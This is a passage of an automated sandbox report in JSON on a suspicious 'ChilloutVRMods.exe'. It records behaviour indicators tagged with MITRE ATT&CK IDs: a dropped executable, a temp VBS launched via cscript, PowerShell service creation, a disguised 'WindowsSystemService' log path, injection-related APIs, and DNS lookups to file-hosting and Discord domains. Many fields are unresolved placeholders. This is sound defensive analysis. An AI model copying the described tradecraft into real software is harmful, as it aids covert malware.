\"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: ChilloutVRMods.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: libcrypto-1_1.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: sqlite3.dll)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c \"ver\"\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00000636-00000C47-37496087382\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"ver\"\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00000636-00000C47-37496087382\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"OpenThreadToken\" (Indicator: \"OpenThread\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"WSAGetLastError\" (Indicator: \"GetLastError\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"WSASetLastError\" (Indicator: \"SetLastError\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$3a","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileExW in import section (Source: python310.dll)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3b","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$3c","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"$3d","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3e","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$3f","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\dotnet-diagnostic-7912\n Found string - \\\\.\\pipe\\PSHost.134327544008910038.5884.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134327576403202537.2044.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134327580006222105.3696.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134327592003921623.4788.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$40","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"$41","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$42","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Launches a VBS file","description":"Process \"cscript.exe\" with commandline \"cscript //nologo //B \"%TEMP%\\\\system_check_1788280749172.vbs\"\" (UID: 00000000-00004004)","origin":"Monitored Target","mitre_attack_id":"T1059.005","relevance":10,"id":"target-72","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$43","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at AB080000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at D2500000\n \"cscript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at D2500000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at D2500000\n \"tasklist.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at D2500000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"ChilloutVRMods.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E0610000\n \"ChilloutVRMods.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at DF6B0000\n \"zeppskdd.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at DF6B0000\n \"zeppskdd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E0610000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E0610000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at DF6B0000\n \"cscript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E0610000\n \"python.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E0610000\n \"python.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at DF6B0000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E0610000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at AC640000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"ChilloutVRMods.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E24F0000\n \"zeppskdd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E24F0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E24F0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E24F0000\n \"cscript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E24F0000\n \"python.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E24F0000\n \"taskkill.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at E24F0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000020423be0f97f0000@ntdll.dll\"\n \"220023000000000040423be0f97f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$44","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"cmd.exe\")\n file/memory contains long string with (Indicator: \"New-Object\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$45","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"$46","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$47","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"libcrypto-1_1.dll\" : \"436\" [Source: libssl-1_1.dll]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$48","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$49","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x61a800\" greater than 0x100000\n Raw size of \".rdata\" is \"0x17c600\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x147600\" greater than 0x100000\n Raw size of \".text\" is \"0x235800\" greater than 0x100000\n Raw size of \".rdata\" is \"0x1a2e00\" greater than 0x100000\n Raw size of \".text\" is \"0x24b800\" greater than 0x100000\n Raw size of \".text\" is \"0x126c00\" greater than 0x100000\n Raw size of \".rdata\" is \"0x109000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x61a71c\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x17c5e2\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x147600\" greater than 0x100000\n Virtual size of \".text\" is \"0x235762\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x1a2ddc\" greater than 0x100000\n Virtual size of \".text\" is \"0x24b634\" greater than 0x100000\n Virtual size of \".text\" is \"0x126bc8\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x108e10\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"$4a","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$4b","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$4c","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.gofile.io\"\n \"catbox.moe\"\n \"discord.com\"\n \"files.pythonhosted.org\"\n \"globalcdn.nuget.org\"\n \"ipinfo.io\"\n \"pypi.org\"\n \"store1.gofile.io\"\n \"store2.gofile.io\"\n \"store3.gofile.io\"\n \"store4.gofile.io\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"cscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$4f","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$50","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$51","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"$52","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/modify Windows services (Powershell command string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)","description":"Found reference to API \"QueueUserAPC\" (Indicator: \"QueueUserAPC\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.004","relevance":1,"id":"string-255","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"zeppskdd.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"taskkill.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\CatRoot\"\n \"powershell.exe\" create file \"%WINDIR%\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates/modifies Windows services using PowerShell","description":"$54","origin":"Monitored Target","mitre_attack_id":"T1543.003","relevance":3,"id":"target-478","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$55","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops a license file","description":"\"LICENSE.txt\" has type \"Unknown\"- Location: [%TEMP%\\WinGet\\tools\\LICENSE.txt]- [targetUID: 00000000-00004592]\n \"LICENSE.txt\" has type \"Unknown\"- Location: [%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip-21.2.3.dist-info\\LICENSE.txt]- [targetUID: 00000000-00004592]","origin":"Binary File","mitre_attack_id":"T1083","relevance":1,"id":"binary-50","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$56","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"$57","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"$58","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$59","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"ChilloutVRMods.exe\" reads file \"c:\\chilloutvrmods.exe\"\n \"zeppskdd.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\zeppskdd.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"$5a","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$5b","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$5c","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$5e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$5f","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"zeppskdd.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\WindowsSystemService\\Logs\\service.log\"\n \"zeppskdd.exe\" writes a file \"%APPDATA%\\WindowsSystemService\\Logs\\service.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Able to determine NetBIOS or DNS name associated with the local computer","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp, 00000000-00002044.00000001.199487.4D110000.00000004.mdmp, 00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003696.00000000.199860.B4590000.00000004.mdmp, 00000000-00003696.00000001.199884.4D110000.00000004.mdmp, 00000000-00003696.00000001.199884.B4590000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"_socket.pyd\")\n file/memory contains long string with (Indicator: \"setsockopt\"; File: \"trsock.py\")\n file/memory contains long string with (Indicator: \"setsockopt\"; File: \"connection.py\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Able to retrieve NetBIOS or DNS name associated with the local computer","description":"Observed import api \"GetComputerNameExW\" which can be \"used to retrieve NetBIOS or DNS name associated of the local computer\" [Source: _socket.pyd]","origin":"Static Parser","mitre_attack_id":"T1016","relevance":5,"id":"static-194","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /simple/pycryptodome/\"\n Found http requests in header \"GET /simple/pywin32/\"\n Found http requests in header \"GET /packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl\"\n Found http requests in header \"GET /packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl\"\n Found http requests in header \"GET /packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreateNamedPipeA\" (Indicator: \"CreateNamedPipe\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"$60","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$61","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"Found string \"api.gofile.io\" (Indicator: \"api.gofile.io\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$62","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$63","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$64","origin":"Network 